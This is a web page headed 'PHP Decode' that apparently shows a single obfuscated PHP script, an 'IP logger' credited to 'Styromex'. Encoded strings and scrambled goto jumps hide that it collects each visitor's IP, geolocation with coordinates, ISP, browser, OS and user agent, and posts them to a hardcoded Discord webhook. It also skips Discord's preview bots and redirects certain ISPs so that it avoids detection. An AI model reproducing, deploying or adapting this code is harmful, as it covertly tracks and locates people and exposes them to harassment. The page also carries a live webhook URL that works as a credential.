PHP Decode

<?php goto BajLp; VjRPf: curl_setopt($ch, CURLOPT_POST, 1); goto IcMBs; x9HEN: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto nGfZB; MfjO9: $ProxyCheck = $Info->proxy ? "\342\x9c\x85" : "\342\235\x8c"; goto GOwkv; GOwkv: $Country = $Info->country; goto FIbdk; ihKOi: curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\157\x6e\x74\145\x6e\x74\x2d\164\x79\160\145\x3a\x20\x61\160\x70\x6c\x69\x63\141\x74\151\x6f\156\57\152\163\x6f\x6e")); goto A48cL; L7hxa: if (!empty($_SERVER["\x48\x54\124\120\x5f\x43\114\x49\x45\116\x54\137\111\120"])) { $ipaddress = $_SERVER["\110\x54\x54\x50\x5f\x43\x4c\111\x45\x4e\124\x5f\111\x50"]; } elseif (!empty($_SERVER["\110\124\124\x50\137\x58\137\106\117\122\x57\101\122\104\105\x44\137\x46\x4f\122"])) { $ipaddress = $_SERVER["\x48\x54\x54\x50\x5f\x58\137\106\117\122\127\101\122\104\x45\104\x5f\x46\x4f\x52"]; } else { $ipaddress = $_SERVER["\122\105\115\x4f\124\x45\137\x41\x44\104\x52"]; } goto s44bS; kNjUn: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); goto VjRPf; sNNe6: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto P0PqJ; d8sT4: $Info = json_decode(curl_exec($Curl)); goto KH2oZ; a78qi: curl_setopt($Curl, CURLOPT_SSL_VERIFYHOST, false); goto d8sT4; Fq8an: $browser = getBrowser(); goto gdH2b; HF4Je: $arr = array("\x44\x69\x73\x63\x6f\162\144\102\157\164", "\x44\151\163\143\157\x72\x64\x62\x6f\164", "\x2b\150\164\164\160\x73\x3a\57\57\144\x69\x73\x63\157\162\x64\x61\160\x70\56\x63\x6f\x6d", "\145\x6c\x65\143\164\162\x6f\x6e", "\144\x69\x73\143\x6f\162\x64", "\106\151\x72\x65\x66\157\x78\57\x39\62\x2e\x30"); goto Lhh0O; ysoEE: $arr = array("\x41\155\x61\x7a\157\156", "\104\151\x73\143\157\x72\x64"); goto GO191; gN42K: $ch = curl_init($webhookurl); goto ihKOi; nGfZB: $response = curl_exec($ch); goto rXSt0; v2v0p: $ISP = $Info->isp; goto MfjO9; A48cL: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto kNjUn; CoVAh: $userAgent = $_SERVER["\110\124\124\120\137\x55\x53\105\x52\137\101\107\105\x4e\124"]; goto HF4Je; bT6mH: function getBrowser() { $browser = "\125\156\153\156\x6f\167\x6e\x20\102\162\x6f\167\x73\x65\162"; $browser_array = array("\x2f\155\x73\151\x65\x2f\x69" => "\111\156\x74\x65\162\x6e\145\164\40\105\170\160\x6c\x6f\x72\145\162", "\x2f\146\x69\162\x65\x66\157\170\57\151" => "\x46\x69\x72\145\x66\157\x78", "\x2f\x4d\x6f\x7a\151\x6c\154\141\57\151" => "\x4d\157\x7a\151\x6c\141", "\57\115\x6f\172\x69\x6c\x6c\x61\40\65\x2e\60\x2f\151" => "\x4d\157\x7a\151\x6c\141", "\57\163\141\x66\x61\x72\x69\57\151" => "\x53\x61\146\141\x72\151", "\x2f\143\150\x72\x6f\155\145\x2f\x69" => "\x43\x68\162\x6f\155\x65", "\57\x65\144\147\145\x2f\x69" => "\105\x64\x67\145", "\57\157\160\145\162\x61\x2f\x69" => "\117\160\145\x72\x61", "\57\x4f\120\122\x2f\151" => "\117\x70\145\x72\141", "\57\x6e\x65\164\x73\143\141\160\x65\x2f\x69" => "\x4e\145\164\163\x63\141\x70\145", "\57\x6d\x61\170\164\150\x6f\156\x2f\151" => "\115\141\x78\164\150\157\156", "\57\x6b\157\x6e\161\x75\x65\162\x6f\162\x2f\x69" => "\x4b\x6f\x6e\161\x75\x65\162\x6f\x72", "\57\102\157\164\57\x69" => "\102\x4f\124\40\x42\x72\157\167\x73\x65\x72", "\x2f\x56\x61\154\166\145\x20\123\164\145\141\155\x20\107\x61\x6d\x65\117\166\145\162\x6c\x61\x79\57\x69" => "\123\x74\145\141\x6d", "\x2f\155\x6f\142\x69\x6c\x65\57\151" => "\110\141\156\x64\150\145\x6c\x64\40\x42\162\x6f\x77\163\145\x72"); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $_SERVER["\110\124\x54\x50\137\x55\x53\105\122\x5f\101\x47\x45\116\124"])) { $browser = $value; } } return $browser; } goto CoVAh; KH2oZ: curl_close($Curl); goto v2v0p; Lhh0O: foreach ($arr as &$value) { if (strpos($_SERVER["\110\x54\124\120\x5f\x55\x53\x45\122\137\x41\107\x45\x4e\124"], $value) !== false) { die; } } goto L7hxa; O7e3J: $COORD = "{$Info->lat}\x2c\40{$Info->lon}"; goto Fq8an; FIbdk: $Region = $Info->regionName; goto T2ZtL; T2ZtL: $City = $Info->city; goto O7e3J; P0PqJ: curl_setopt($ch, CURLOPT_HEADER, 0); goto x9HEN; BajLp: $webhookurl = "\150\x74\x74\x70\x73\72\x2f\57\x64\x69\x73\x63\x6f\162\x64\x2e\x63\x6f\x6d\57\x61\160\151\x2f\167\x65\142\x68\157\157\x6b\x73\57\61\61\63\x31\62\67\x39\67\61\63\65\x35\60\62\61\x33\x31\70\60\x2f\x39\115\55\63\x7a\x69\111\123\x55\121\61\x79\115\113\x46\163\x7a\150\132\120\71\160\x4e\113\x42\154\102\122\x38\x76\x45\x49\x33\165\55\102\103\x6a\65\x48\121\55\x67\105\x55\x41\155\x65\55\153\165\106\x58\102\102\154\125\115\163\x48\114\116\104\x59\x64\x62\x31\x77"; goto itUZG; itUZG: function getOS() { global $user_agent; $os_platform = "\125\156\x6b\156\157\x77\x6e\40\117\x53\x20\120\154\141\164\146\x6f\162\x6d"; $os_array = array("\x2f\167\151\156\x64\x6f\167\163\40\x6e\x74\x20\x31\60\x2f\151" => "\x57\151\x6e\144\157\x77\x73\x20\x31\60", "\x2f\167\151\156\144\x6f\x77\x73\40\156\x74\x20\66\56\63\57\151" => "\127\151\156\144\157\167\x73\x20\x38\x2e\61", "\57\167\x69\x6e\144\157\167\x73\x20\156\164\40\66\56\62\57\x69" => "\x57\x69\x6e\x64\157\167\163\x20\x38", "\x2f\167\151\x6e\x64\157\x77\163\40\x6e\x74\x20\66\56\x31\x2f\x69" => "\127\x69\156\144\157\x77\163\x20\x37", "\57\167\151\x6e\144\157\167\x73\40\x6e\x74\x20\x36\x2e\x30\x2f\x69" => "\127\151\x6e\144\x6f\x77\x73\x20\126\x69\163\164\x61", "\57\x77\151\x6e\x64\157\x77\x73\x20\156\164\40\x35\56\x32\x2f\151" => "\x57\x69\x6e\144\x6f\167\x73\40\x53\145\x72\x76\145\162\40\62\x30\60\63\57\x58\x50\40\170\x36\x34", "\57\167\151\x6e\x64\x6f\x77\x73\x20\156\x74\40\65\56\x31\x2f\x69" => "\127\151\x6e\x64\157\167\163\x20\x58\x50", "\57\x77\x69\x6e\x64\x6f\x77\x73\40\170\x70\57\151" => "\127\151\156\144\x6f\167\x73\40\130\x50", "\57\x77\x69\x6e\144\157\x77\x73\x20\156\164\40\x35\56\x30\x2f\x69" => "\127\151\x6e\144\157\x77\x73\x20\62\x30\x30\60", "\x2f\167\151\156\144\x6f\x77\x73\40\x6d\145\57\x69" => "\x57\151\156\x64\157\x77\x73\x20\x4d\105", "\57\x77\x69\x6e\x39\70\x2f\x69" => "\x57\x69\x6e\144\157\x77\x73\x20\x39\x38", "\x2f\167\151\x6e\71\65\x2f\151" => "\127\x69\x6e\x64\x6f\167\x73\x20\x39\65", "\x2f\x77\151\156\61\66\57\151" => "\x57\151\x6e\x64\157\167\x73\40\x33\56\x31\61", "\57\155\141\x63\151\156\164\157\x73\x68\174\x6d\141\x63\x20\x6f\163\x20\170\x2f\x69" => "\115\x61\x63\x20\117\123\x20\x58", "\x2f\x6d\x61\x63\137\x70\x6f\167\145\x72\160\143\x2f\151" => "\115\x61\143\x20\117\x53\x20\x39", "\57\x6c\151\156\x75\x78\x2f\151" => "\x4c\151\x6e\165\x78", "\57\153\x61\x6c\x69\154\x69\x6e\x75\x78\x2f\151" => "\x4b\x61\x6c\x69\114\x69\156\165\170", "\57\165\x62\165\x6e\x74\x75\x2f\151" => "\x55\x62\x75\156\164\x75", "\57\x69\x70\x68\x6f\x6e\145\x2f\x69" => "\151\120\x68\x6f\x6e\145", "\57\x69\160\157\144\57\151" => "\151\x50\157\x64", "\57\x69\160\x61\x64\x2f\x69" => "\151\120\x61\x64", "\x2f\x61\x6e\x64\x72\x6f\x69\x64\57\151" => "\x41\156\144\x72\x6f\151\x64", "\57\142\x6c\x61\x63\x6b\142\145\162\x72\171\57\151" => "\102\154\141\x63\153\102\x65\x72\162\x79", "\x2f\167\x65\x62\x6f\x73\x2f\x69" => "\115\x6f\x62\x69\154\145", "\x2f\x57\x69\x6e\x64\x6f\x77\x73\40\x50\x68\157\156\x65\x2f\x69" => "\x57\151\x6e\144\157\167\x73\40\120\x68\157\x6e\x65"); foreach ($os_array as $regex => $value) { if (preg_match($regex, $_SERVER["\x48\x54\124\x50\x5f\125\x53\x45\122\x5f\x41\107\x45\116\124"])) { $os_platform = $value; } } return $os_platform; } goto bT6mH; ZQjmp: $Curl = curl_init("\x68\164\164\160\72\x2f\x2f\151\160\x2d\141\160\x69\56\x63\x6f\155\57\152\x73\x6f\x6e\x2f{$ipaddress}\77\x66\151\x65\x6c\144\163\x3d\163\x74\x61\164\x75\x73\54\x63\157\165\156\164\162\171\54\x63\157\x75\x6e\x74\x72\171\103\157\x64\x65\x2c\x72\145\147\x69\157\156\54\x6c\141\164\54\154\157\156\x2c\x72\145\x67\151\157\156\116\x61\x6d\145\54\x63\151\x74\x79\54\x7a\x69\x70\54\x74\x69\155\x65\x7a\x6f\156\145\54\151\163\160\54\157\162\147\54\141\x73\x2c\x70\162\x6f\x78\171"); goto xxjiG; GO191: foreach ($arr as &$value) { if (strpos($ISP, $value) !== false) { header("\x4c\x6f\x63\x61\164\x69\x6f\156\x3a\40\150\x74\x74\x70\163\72\x2f\57\x6e\157\162\x64\x76\160\156\56\x6e\x65\x74", true, 301); die; } } goto XhQZE; mHQsY: curl_setopt($Curl, CURLOPT_SSL_VERIFYPEER, false); goto a78qi; XhQZE: $json_data = json_encode(array("\x75\163\145\x72\156\x61\155\145" => "\102\151\147\104\x69\143\153\x44\x61\144\144\171", "\x61\166\141\x74\x61\x72\x5f\x75\162\154" => "\150\164\164\x70\x73\x3a\57\x2f\x63\x64\x6e\x2e\144\151\x73\143\157\x72\x64\141\160\160\x2e\x63\157\155\57\141\164\x74\x61\x63\x68\x6d\145\156\164\163\57\x31\x31\x31\x39\67\65\x35\61\70\64\70\x33\65\x34\61\66\x30\66\64\x2f\x31\x31\x33\61\x33\x32\63\x35\x39\62\62\62\63\67\66\64\66\x32\x30\57\111\x4d\x47\x5f\66\x38\60\65\56\x70\x6e\x67", "\145\x6d\x62\x65\144\x73" => array(array("\x74\x69\164\x6c\x65" => "\x3c\x3a\x41\131\x4f\117\x4f\x3a\71\63\65\x33\60\x35\x37\x36\62\65\x39\67\66\66\x36\x38\x37\70\76\40\x49\x50\40\154\157\147\x67\x65\x72\40\x3c\72\101\x59\x4f\117\x4f\x3a\x39\x33\65\x33\x30\x35\x37\x36\62\x35\x39\x37\66\66\x36\x38\67\x38\x3e", "\x64\x65\x73\143\162\x69\x70\x74\151\x6f\x6e" => "\115\x61\x64\x65\40\x42\x79\40\123\164\x79\x72\157\x6d\145\170", "\x75\162\x6c" => "\x68\164\164\160\x73\72\57\x2f\144\x69\163\x63\157\x72\x64\x2e\x67\x67\x2f\150\151\164\x73", "\x74\x79\x70\x65" => "\x72\x69\143\x68", "\x74\151\155\145\x73\164\141\x6d\x70" => $timestamp, "\x63\157\154\157\x72" => hexdec("\x33\63\66\x36\x66\146"), "\146\x69\x65\154\144\163" => array(array("\x6e\x61\155\x65" => "\x3c\x3a\154\x69\x70\142\151\164\x65\x3a\x39\65\63\x39\66\66\x37\x36\x39\x37\61\67\x30\x30\x36\x33\x38\x36\x3e\40\111\120\x20\x49\156\146\x6f", "\x76\x61\154\x75\x65" => "\52\52\x5f\x5f\111\120\137\137\52\x2a\x3a\40{$ipaddress}\12\52\x2a\x5f\137\x49\123\120\x5f\x5f\x2a\x2a\x3a\40{$ISP}\12\52\52\x5f\137\x50\162\x6f\x78\171\x5f\137\52\x2a\72\x20{$ProxyCheck}", "\151\156\154\x69\x6e\x65" => true), array("\x6e\141\155\x65" => "\74\141\x3a\162\157\x62\x6c\157\x78\x5f\x64\141\156\143\145\72\x38\61\x34\x39\66\x33\x37\x33\64\61\x34\64\x38\x37\66\x35\71\x35\x3e\40\114\x6f\x63\x61\x74\x69\157\x6e", "\166\x61\x6c\x75\x65" => "\52\52\137\x5f\x43\157\x75\x6e\x74\162\x79\137\137\52\52\x3a\x20{$Country}\12\x2a\52\137\137\x52\145\x67\151\x6f\156\137\x5f\52\x2a\x3a\x20{$Region}\12\x2a\52\x5f\x5f\x43\x69\164\x79\x5f\x5f\x2a\x2a\x3a\40{$City}\12\x2a\x2a\137\x5f\103\x6f\157\x72\x64\x69\156\141\x74\145\x73\137\x5f\52\x2a\x3a\40{$COORD}", "\151\x6e\154\x69\156\x65" => true), array("\156\x61\x6d\145" => "\xf0\237\222\273\x20\x42\162\x6f\167\163\145\x72\40\111\156\x66\157", "\166\x61\154\165\145" => "\52\52\x5f\137\102\162\157\167\163\x65\162\137\x5f\x2a\x2a\72\40{$browser}\xa\x2a\52\137\x5f\117\123\137\x5f\x2a\x2a\72\x20{$OS}\12\x2a\52\x5f\137\x55\163\145\x72\40\x41\147\145\156\164\137\x5f\52\52\x3a\x20{$userAgent}\xa", "\x69\156\x6c\151\156\145" => false), array("\x6e\x61\155\145" => "\xf0\x9f\x94\227\x20\114\151\x6e\153", "\166\x61\x6c\x75\145" => "\52\52\137\137\114\151\156\153\137\x5f\52\x2a\x3a\40\140{$_SERVER["\110\124\x54\x50\137\x48\117\123\x54"]}{$_SERVER["\x52\x45\121\x55\x45\123\124\x5f\125\x52\111"]}\x60", "\x69\156\154\x69\156\x65" => false))))), JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto gN42K; xxjiG: curl_setopt($Curl, CURLOPT_RETURNTRANSFER, true); goto mHQsY; IcMBs: curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data); goto sNNe6; s44bS: $timestamp = date("\143", strtotime("\156\x6f\x77")); goto ZQjmp; gdH2b: $OS = getOS(); goto ysoEE; rXSt0: curl_close($ch);